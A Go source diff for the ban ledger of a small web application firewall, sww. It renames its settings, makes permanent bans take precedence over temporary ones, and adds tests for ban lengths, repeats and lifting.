Netblock: netip.MustParsePrefix("203.0.113.2/32"), Netblock: netip.MustParsePrefix("203.0.113.2/32"),
Start: midnight(), Start: midnight(),
@@ -223,10 +278,13 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
ledger.Load([]bans.Ban{made, atStart}) ledger.Load([]bans.Ban{made, atStart})
if got := ledger.Made(bans.CauseAdmin); got != 0 { if got := ledger.Made(bans.CauseAdmin); got != 0 {
t.Fatalf("%d bans made by an admin after the start's, want none", got) t.Fatalf(
"%d bans made by an admin after the start's, want none",
got,
)
} }
// The admin keeps the ban smallwebwaf made, keeps the one read at the // The admin keeps the ban sww made, keeps the one read at the
// start, and adds one without a cause: that one alone is made. // start, and adds one without a cause: that one alone is made.
kept := made kept := made
kept.Cause = bans.CauseAdmin kept.Cause = bans.CauseAdmin
@@ -236,9 +294,13 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
} }
ledger.LoadEdit([]bans.Ban{kept, atStart, added}) ledger.LoadEdit([]bans.Ban{kept, atStart, added})
if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 { if ledger.Made(bans.CauseAdmin) != 1 ||
t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each", ledger.Made(bans.CauseLimit) != 1 {
ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit)) t.Errorf(
"%d bans made by an admin and %d for a limit, want 1 of each",
ledger.Made(bans.CauseAdmin),
ledger.Made(bans.CauseLimit),
)
} }
} }
@@ -246,7 +308,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
t.Parallel() t.Parallel()
netblock := netip.MustParsePrefix("203.0.113.0/24") netblock := netip.MustParsePrefix("203.0.113.0/24")
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
// An hour's ban for a broken limit. // An hour's ban for a broken limit.
ledger.BanForLimit(netblock, midnight(), bans.Notes{}) ledger.BanForLimit(netblock, midnight(), bans.Notes{})
@@ -264,8 +326,12 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}}, Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
} }
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{}, got := ledger.BanForAdmin(
"probes for logins") netip.MustParsePrefix("203.0.113.9/24"),
now,
time.Time{},
"probes for logins",
)
if !reflect.DeepEqual(got, want) { if !reflect.DeepEqual(got, want) {
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want) t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
} }
@@ -277,10 +343,17 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
} }
// It refuses once the ban for the limit has ended. // It refuses once the ban for the limit has ended.
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour)) ban, banned, _ := ledger.Find(
netblock.Addr(),
midnight().Add(2*time.Hour),
)
if !banned || !reflect.DeepEqual(ban, want) { if !banned || !reflect.DeepEqual(ban, want) {
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v", t.Errorf(
ban, banned, want) "after the limit's ban the netblock is under %+v (%t), want %+v",
ban,
banned,
want,
)
} }
} }
@@ -292,7 +365,7 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
wide := netip.MustParsePrefix("203.0.113.0/24") wide := netip.MustParsePrefix("203.0.113.0/24")
other := netip.MustParsePrefix("203.0.113.10/32") other := netip.MustParsePrefix("203.0.113.10/32")
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
// Ended an hour ago. // Ended an hour ago.
{ {
@@ -312,8 +385,12 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
now := midnight().Add(time.Minute) now := midnight().Add(time.Minute)
lifted := ledger.Lift(client, now) lifted := ledger.Lift(client, now)
if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now { if len(lifted) != 2 || lifted[0].Lifted != now ||
t.Errorf("lifted %+v, want the two active bans covering the client", lifted) lifted[1].Lifted != now {
t.Errorf(
"lifted %+v, want the two active bans covering the client",
lifted,
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
@@ -330,8 +407,11 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
covering := ledger.Covering(client) covering := ledger.Covering(client)
if len(covering) != 3 || covering[0].Netblock != wide || if len(covering) != 3 || covering[0].Netblock != wide ||
!covering[1].Lifted.IsZero() || covering[2].Lifted != now { !covering[1].Lifted.IsZero() || covering[2].Lifted != now {
t.Errorf("the bans covering the client are %+v, want the /24's and both "+ t.Errorf(
"of its own, the earlier not lifted", covering) "the bans covering the client are %+v, want the /24's and both "+
"of its own, the earlier not lifted",
covering,
)
} }
// With none active, nothing is lifted or changed. // With none active, nothing is lifted or changed.
@@ -341,3 +421,72 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
} }
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(
t *testing.T,
) {
t.Parallel()
client := netip.MustParseAddr("203.0.113.9")
ledger := bans.New(defaultParams())
// The temporary ban is made first, so that its netblock is looked at first.
ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.9/32"),
midnight(),
bans.Notes{},
)
ledger.BanForAdmin(
netip.MustParsePrefix("203.0.113.0/24"),
midnight(),
time.Time{},
"for good",
)
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
}
func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
t.Parallel()
netblock := netip.MustParsePrefix("203.0.113.0/24")
ledger := bans.New(defaultParams())
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
ledger.BanForAdmin(
netblock,
midnight().Add(time.Minute),
midnight().Add(time.Hour),
"for an hour",
)
wantPermanentBan(
t,
ledger,
netblock.Addr(),
midnight().Add(2*time.Minute),
)
}
// wantPermanentBan checks that Find and Check return a permanent ban for
// client at now.
func wantPermanentBan(
t *testing.T, ledger *bans.Ledger, client netip.Addr, now time.Time,
) {
t.Helper()
for name, look := range map[string]func(netip.Addr, time.Time) (bans.Ban, bool, bool){
"Find": ledger.Find,
"Check": ledger.Check,
} {
ban, banned, _ := look(client, now)
if !banned || !ban.Permanent() {
t.Errorf(
"%s returned %+v and banned %v, want a permanent ban",
name,
ban,
banned,
)
}
}
}
+148 -54
View File
@@ -1,6 +1,6 @@
// Package bans is the ban ledger: the bans smallwebwaf makes on the // Package bans is the ban ledger: the bans sww makes on the
// netblocks of clients that break a rate limit, a byte limit or the error // netblocks of clients that break a rate limit, a byte limit or the refusal
// burst, show a clear sign of attack or are listed by the CrowdSec // limit, show a clear sign of attack or are listed by the CrowdSec
// decision list, and // decision list, and
// those an admin makes, with their notes, as the "Bans" section of SPEC.md // those an admin makes, with their notes, as the "Bans" section of SPEC.md
// describes. The bans are kept in memory, and written to bans.json and // describes. The bans are kept in memory, and written to bans.json and
@@ -21,14 +21,14 @@ import (
// The causes of bans. // The causes of bans.
const ( const (
// CauseLimit is a ban smallwebwaf made for a broken limit. // CauseLimit is a ban sww made for a broken limit.
CauseLimit = "limit" CauseLimit = "limit"
// CauseAttack is a ban smallwebwaf made for a clear sign of attack. // CauseAttack is a ban sww made for a clear sign of attack.
CauseAttack = "attack" CauseAttack = "attack"
// CauseAdmin is a ban an admin made, or one smallwebwaf made that an // CauseAdmin is a ban an admin made, or one sww made that an
// admin keeps. It is never dropped. // admin keeps. It is never dropped.
CauseAdmin = "admin" CauseAdmin = "admin"
// CauseCrowdSec is a ban smallwebwaf made for a client the CrowdSec // CauseCrowdSec is a ban sww made for a client the CrowdSec
// decision list lists. It ends when CrowdSec's decision does. // decision list lists. It ends when CrowdSec's decision does.
CauseCrowdSec = "crowdsec" CauseCrowdSec = "crowdsec"
) )
@@ -40,8 +40,8 @@ const repeatFactor = 3
// maxTextBytes is how much of each text in a ban's notes is kept. // maxTextBytes is how much of each text in a ban's notes is kept.
const maxTextBytes = 256 const maxTextBytes = 256
// Rules are how long a ban lasts, and how many bans are held. // Params are how long a ban lasts, and how many bans are held.
type Rules struct { type Params struct {
// LimitBanDuration is how long a first ban for a broken limit lasts. // LimitBanDuration is how long a first ban for a broken limit lasts.
LimitBanDuration time.Duration LimitBanDuration time.Duration
// LimitBanRepeatWindow is how soon after the end of the netblock's // LimitBanRepeatWindow is how soon after the end of the netblock's
@@ -49,9 +49,9 @@ type Rules struct {
// CrowdSec's decision, a broken limit counts as a repeat, which bans for // CrowdSec's decision, a broken limit counts as a repeat, which bans for
// repeatFactor times as long as that ban. // repeatFactor times as long as that ban.
LimitBanRepeatWindow time.Duration LimitBanRepeatWindow time.Duration
// MaxBanDuration is the longest ban for a broken limit; one that would // A ban for a broken limit that would be longer than
// be longer is permanent instead. // LimitBanPermanentAbove is permanent instead.
MaxBanDuration time.Duration LimitBanPermanentAbove time.Duration
// AttackBanDuration is how long a first ban for a clear sign of attack // AttackBanDuration is how long a first ban for a clear sign of attack
// lasts. // lasts.
AttackBanDuration time.Duration AttackBanDuration time.Duration
@@ -70,7 +70,7 @@ type Ban struct {
Expires time.Time Expires time.Time
// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec. // Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
Cause string Cause string
// Reason is a short text: for a ban smallwebwaf made, the limit broken, // Reason is a short text: for a ban sww made, the limit broken,
// the rule that matched or the scenario of CrowdSec's decision; for an // the rule that matched or the scenario of CrowdSec's decision; for an
// admin's, what the admin wrote. // admin's, what the admin wrote.
Reason string Reason string
@@ -105,7 +105,7 @@ type Notes struct {
Country string `json:"country"` Country string `json:"country"`
// Kind, Limit, Window and Count are, for a ban for a broken limit, // Kind, Limit, Window and Count are, for a ban for a broken limit,
// what the limit was on, "requests" for a rate limit, "bytes" for a // what the limit was on, "requests" for a rate limit, "bytes" for a
// byte limit or "refusals" for the error burst, the limit that was // byte limit or "refusals" for the refusal limit, the limit that was
// broken, its window, "minute", "hour" or "day", and the count reached: // broken, its window, "minute", "hour" or "day", and the count reached:
// the client's requests, bytes or refusals in the window, those of the // the client's requests, bytes or refusals in the window, those of the
// request that broke the limit included. // request that broke the limit included.
@@ -123,7 +123,7 @@ type Notes struct {
LimitPercentSetting string `json:"limit_percent_setting,omitempty"` LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id // RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target; TrapPath is, for // of the rule file rule that matched, and its target; TrapPath is, for
// one for a request for a path in SWWAF_TRAP_PATHS, that path as the // one for a request for a path in SWW_WAF_TRAP_PATHS, that path as the
// client sent it. // client sent it.
RuleID string `json:"rule_id,omitempty"` RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"` Target string `json:"target,omitempty"`
@@ -180,7 +180,7 @@ type Request struct {
// Ledger holds the bans. It is safe for concurrent use. // Ledger holds the bans. It is safe for concurrent use.
type Ledger struct { type Ledger struct {
rules Rules params Params
// changed receives a value when a ban is made, unless one is waiting // changed receives a value when a ban is made, unless one is waiting
// already. // already.
changed chan struct{} changed chan struct{}
@@ -190,7 +190,7 @@ type Ledger struct {
// Find make each netblock they find the most recently seen. // Find make each netblock they find the most recently seen.
netblocks *simplelru.LRU[netip.Prefix, *[]Ban] netblocks *simplelru.LRU[netip.Prefix, *[]Ban]
// held is how many bans netblocks holds whose cause is not CauseAdmin, // held is how many bans netblocks holds whose cause is not CauseAdmin,
// at most rules.MaxBans. // at most params.MaxBans.
held int held int
// made is how many bans have been made since the start, by cause: by // made is how many bans have been made since the start, by cause: by
// the ledger, and by an admin, through BanForAdmin or in an edit of // the ledger, and by an admin, through BanForAdmin or in an edit of
@@ -199,23 +199,26 @@ type Ledger struct {
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6 // v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
// netblocks that have been banned. Check looks for a ban at each of // netblocks that have been banned. Check looks for a ban at each of
// them, so that a ban read from bans.json refuses every client in its // them, so that a ban read from bans.json refuses every client in its
// netblock even when it was made with another SWWAF_BAN_SCOPE_V4_PREFIX, // netblock even when it was made with another SWW_WAF_BAN_SCOPE_V4_PREFIX,
// or another length of an IPv6 client's netblock. // or another length of an IPv6 client's netblock.
v4Lengths, v6Lengths []int v4Lengths, v6Lengths []int
} }
// New returns a Ledger with no ban yet. // New returns a Ledger with no ban yet.
func New(rules Rules) *Ledger { func New(params Params) *Ledger {
// The ledger drops bans itself, and never those whose cause is // The ledger drops bans itself, and never those whose cause is
// CauseAdmin, however many there are, so the LRU has no limit of its // CauseAdmin, however many there are, so the LRU has no limit of its
// own: it keeps the netblocks in the order they were last seen. // own: it keeps the netblocks in the order they were last seen.
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil) netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](
math.MaxInt,
nil,
)
if err != nil { if err != nil {
panic(err) // NewLRU fails only for a size below one panic(err) // NewLRU fails only for a size below one
} }
return &Ledger{ return &Ledger{
rules: rules, params: params,
changed: make(chan struct{}, 1), changed: make(chan struct{}, 1),
netblocks: netblocks, netblocks: netblocks,
made: map[string]int{}, made: map[string]int{},
@@ -274,16 +277,27 @@ func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool, bool) {
// activeBan returns the ban in bans, a netblock's bans oldest first, that // activeBan returns the ban in bans, a netblock's bans oldest first, that
// is active at now, or nil when none is. If several are, it returns the // is active at now, or nil when none is. If several are, it returns the
// one that started last. Every ban is looked at, since a ban an admin adds // newest permanent one, or the newest when none is permanent. Every ban is
// to bans.json can start before the netblock's others and outlast them. // looked at, since a ban an admin adds to bans.json can start before the
// netblock's others and outlast them.
func activeBan(bans []Ban, now time.Time) *Ban { func activeBan(bans []Ban, now time.Time) *Ban {
var newest *Ban
for i := len(bans) - 1; i >= 0; i-- { for i := len(bans) - 1; i >= 0; i-- {
if bans[i].ActiveAt(now) { if !bans[i].ActiveAt(now) {
continue
}
if bans[i].Permanent() {
return &bans[i] return &bans[i]
} }
if newest == nil {
newest = &bans[i]
}
} }
return nil return newest
} }
// BanForLimit bans netblock at now for a broken limit, with notes, and // BanForLimit bans netblock at now for a broken limit, with notes, and
@@ -292,7 +306,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
// last, other than one for a clear sign of attack or for CrowdSec's // last, other than one for a clear sign of attack or for CrowdSec's
// decision, or a lifted one, lasts // decision, or a lifted one, lasts
// repeatFactor times as long as that one. A ban that would be longer // repeatFactor times as long as that one. A ban that would be longer
// than MaxBanDuration is permanent instead. If a ban on netblock is still // than LimitBanPermanentAbove is permanent instead. If a ban on netblock is still
// active, as when two of its requests break a limit at once, that ban is // active, as when two of its requests break a limit at once, that ban is
// returned with false, and no other is made. The ledger fills in the // returned with false, and no other is made. The ledger fills in the
// notes' Refused and EarlierBans itself, and gives the ban the reason // notes' Refused and EarlierBans itself, and gives the ban the reason
@@ -301,7 +315,15 @@ func activeBan(bans []Ban, now time.Time) *Ban {
func (l *Ledger) BanForLimit( func (l *Ledger) BanForLimit(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true) return l.ban(
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
true,
)
} }
// WouldBanForLimit returns what BanForLimit would, without making the ban: // WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -309,7 +331,15 @@ func (l *Ledger) BanForLimit(
func (l *Ledger) WouldBanForLimit( func (l *Ledger) WouldBanForLimit(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false) return l.ban(
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
false,
)
} }
// BanForAttack bans netblock at now for a clear sign of attack, with // BanForAttack bans netblock at now for a clear sign of attack, with
@@ -320,7 +350,15 @@ func (l *Ledger) WouldBanForLimit(
func (l *Ledger) BanForAttack( func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true) return l.ban(
netblock,
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
true,
)
} }
// WouldBanForAttack returns what BanForAttack would, without making the // WouldBanForAttack returns what BanForAttack would, without making the
@@ -328,8 +366,15 @@ func (l *Ledger) BanForAttack(
func (l *Ledger) WouldBanForAttack( func (l *Ledger) WouldBanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, return l.ban(
false) netblock,
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
false,
)
} }
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's // BanForCrowdSec bans netblock at now until expires, when CrowdSec's
@@ -337,19 +382,39 @@ func (l *Ledger) WouldBanForAttack(
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's // whether it made it, as BanForLimit does. Its reason is "CrowdSec's
// decision for <scenario>", the scenario that made the decision. // decision for <scenario>", the scenario that made the decision.
func (l *Ledger) BanForCrowdSec( func (l *Ledger) BanForCrowdSec(
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes, netblock netip.Prefix,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes, return l.ban(
true) netblock,
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
true,
)
} }
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making // WouldBanForCrowdSec returns what BanForCrowdSec would, without making
// the ban: what observe mode would have done. // the ban: what observe mode would have done.
func (l *Ledger) WouldBanForCrowdSec( func (l *Ledger) WouldBanForCrowdSec(
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes, netblock netip.Prefix,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes, return l.ban(
false) netblock,
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
false,
)
} }
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit, // WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
@@ -494,7 +559,10 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
// about it. It is not a request from netblock, and leaves when it was last // about it. It is not a request from netblock, and leaves when it was last
// seen unchanged. It does not have bans.json written at once: the notes // seen unchanged. It does not have bans.json written at once: the notes
// are written with its next write, as the counts in them are. // are written with its next write, as the counts in them are.
func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) { func (l *Ledger) AddLookup(
netblock netip.Prefix,
asn, asName, country string,
) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -581,7 +649,7 @@ func (l *Ledger) Load(bans []Ban) {
} }
// LoadEdit is Load for an admin's edit of bans.json, taken in while // LoadEdit is Load for an admin's edit of bans.json, taken in while
// smallwebwaf runs. Each ban in it whose cause is CauseAdmin, and which // sww runs. Each ban in it whose cause is CauseAdmin, and which
// the ledger did not hold, with the same netblock and start, is one the // the ledger did not hold, with the same netblock and start, is one the
// admin made, and is counted among the bans made. // admin made, and is counted among the bans made.
func (l *Ledger) LoadEdit(bans []Ban) { func (l *Ledger) LoadEdit(bans []Ban) {
@@ -643,7 +711,10 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
// keep is true, the ban is not made, only returned: it is the ban that // keep is true, the ban is not made, only returned: it is the ban that
// would have been made. // would have been made.
func (l *Ledger) ban( func (l *Ledger) ban(
netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes, netblock netip.Prefix,
now, expires time.Time,
cause, reason string,
notes Notes,
keep bool, keep bool,
) (Ban, bool) { ) (Ban, bool) {
l.mu.Lock() l.mu.Lock()
@@ -664,7 +735,13 @@ func (l *Ledger) ban(
} }
notes.Request = notes.Request.cut() notes.Request = notes.Request.cut()
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes} ban := Ban{
Netblock: netblock,
Start: now,
Cause: cause,
Reason: reason,
Notes: notes,
}
switch cause { switch cause {
case CauseAttack: case CauseAttack:
@@ -743,26 +820,39 @@ func (l *Ledger) markChanged() {
} }
// active returns the ban active at now on a netblock client is in, or // active returns the ban active at now on a netblock client is in, or
// nil. // nil. If several netblocks have one, it returns a permanent ban when
// there is one.
func (l *Ledger) active(client netip.Addr, now time.Time) *Ban { func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
lengths := l.v6Lengths lengths := l.v6Lengths
if client.Is4() { if client.Is4() {
lengths = l.v4Lengths lengths = l.v4Lengths
} }
var first *Ban
for _, length := range lengths { for _, length := range lengths {
bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked()) bans, found := l.netblocks.Get(
netip.PrefixFrom(client, length).Masked(),
)
if !found { if !found {
continue continue
} }
ban := activeBan(*bans, now) ban := activeBan(*bans, now)
if ban != nil { if ban == nil {
continue
}
if ban.Permanent() {
return ban return ban
} }
if first == nil {
first = ban
}
} }
return nil return first
} }
// covering returns the bans of each netblock held that client is in, // covering returns the bans of each netblock held that client is in,
@@ -776,7 +866,9 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
var found []*[]Ban var found []*[]Ban
for _, length := range lengths { for _, length := range lengths {
bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked()) bans, ok := l.netblocks.Peek(
netip.PrefixFrom(client, length).Masked(),
)
if ok { if ok {
found = append(found, bans) found = append(found, bans)
} }
@@ -790,7 +882,7 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
// unless ban's cause is CauseAdmin, which does not count toward MaxBans. // unless ban's cause is CauseAdmin, which does not count toward MaxBans.
func (l *Ledger) add(ban Ban) { func (l *Ledger) add(ban Ban) {
counted := ban.Cause != CauseAdmin counted := ban.Cause != CauseAdmin
if counted && l.held == l.rules.MaxBans { if counted && l.held == l.params.MaxBans {
l.dropOne() l.dropOne()
} }
@@ -825,29 +917,31 @@ func (l *Ledger) add(ban Ban) {
// new ban longer. A ban an admin adds to bans.json can start after // new ban longer. A ban an admin adds to bans.json can start after
// another and end before it, so that one is looked for among them all. // another and end before it, so that one is looked for among them all.
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time { func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
length := l.rules.LimitBanDuration length := l.params.LimitBanDuration
var last *Ban var last *Ban
for i, ban := range held { for i, ban := range held {
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() && if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) &&
ban.Lifted.IsZero() &&
(last == nil || ban.Expires.After(last.Expires)) { (last == nil || ban.Expires.After(last.Expires)) {
last = &held[i] last = &held[i]
} }
} }
if last != nil && now.Sub(last.Expires) <= l.rules.LimitBanRepeatWindow { if last != nil &&
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
lastLength := last.Expires.Sub(last.Start) lastLength := last.Expires.Sub(last.Start)
// This is repeatFactor * lastLength > MaxBanDuration, written so // This is repeatFactor * lastLength > LimitBanPermanentAbove, written so
// that it cannot overflow. // that it cannot overflow.
if lastLength > l.rules.MaxBanDuration/repeatFactor { if lastLength > l.params.LimitBanPermanentAbove/repeatFactor {
return time.Time{} return time.Time{}
} }
length = repeatFactor * lastLength length = repeatFactor * lastLength
} }
if length > l.rules.MaxBanDuration { if length > l.params.LimitBanPermanentAbove {
return time.Time{} return time.Time{}
} }
@@ -865,7 +959,7 @@ func (l *Ledger) attackExpiry(held []Ban, now time.Time) time.Time {
} }
} }
return now.Add(l.rules.AttackBanDuration) return now.Add(l.params.AttackBanDuration)
} }
// dropOne drops the earliest ban whose cause is not CauseAdmin of the // dropOne drops the earliest ban whose cause is not CauseAdmin of the
+245 -92
View File
@@ -15,7 +15,7 @@ const day = 24 * time.Hour
func TestRepeatsTripleUntilPermanent(t *testing.T) { func TestRepeatsTripleUntilPermanent(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight() now := midnight()
@@ -27,8 +27,14 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
length := time.Duration(hours) * time.Hour length := time.Duration(hours) * time.Hour
if !ban.Expires.Equal(now.Add(length)) || if !ban.Expires.Equal(now.Add(length)) ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit", t.Fatalf(
i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i) "ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
i+1,
ban.Expires.Sub(now),
ban.Notes.EarlierBans,
hours,
i,
)
} }
now = ban.Expires now = ban.Expires
@@ -62,51 +68,73 @@ func TestRepeatWindowRunsOut(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) first, _ := ledger.BanForLimit(
second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{}) netblock,
midnight(),
bans.Notes{},
)
second, _ := ledger.BanForLimit(
netblock,
first.Expires.Add(tc.gap),
bans.Notes{},
)
if second.Expires.Sub(second.Start) != tc.want || if second.Expires.Sub(second.Start) != tc.want ||
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit", t.Errorf(
second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want) "second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
second.Expires.Sub(
second.Start,
),
second.Notes.EarlierBans,
tc.want,
)
} }
}) })
} }
} }
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) { func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
t.Parallel() t.Parallel()
rules := defaultRules() params := defaultParams()
rules.LimitBanDuration = rules.MaxBanDuration + time.Hour params.LimitBanDuration = params.LimitBanPermanentAbove + time.Hour
ledger := bans.New(rules) ledger := bans.New(params)
ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), ban, _ := ledger.BanForLimit(
bans.Notes{}) netip.MustParsePrefix("203.0.113.9/32"),
midnight(),
bans.Notes{},
)
if !ban.Permanent() { if !ban.Permanent() {
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires) t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
} }
} }
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) { func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
t.Parallel() t.Parallel()
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13 // With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
// hours, is within the maximum, and three times as long would not fit // 3^13 hours, is not above it, and three times as long would not fit in
// in a time.Duration. The 15th is permanent. // a time.Duration. The 15th is permanent.
rules := defaultRules() params := defaultParams()
rules.MaxBanDuration = 100000 * day params.LimitBanPermanentAbove = 100000 * day
ledger := bans.New(rules) ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight() now := midnight()
for i := range 14 { for i := range 14 {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Expires.After(ban.Start) { if !ban.Expires.After(ban.Start) {
t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires) t.Fatalf(
"ban %d starts at %s and ends at %s",
i+1,
ban.Start,
ban.Expires,
)
} }
now = ban.Expires now = ban.Expires
@@ -121,7 +149,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) { func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
@@ -129,35 +157,64 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
t.Error("the first ban was not made") t.Error("the first ban was not made")
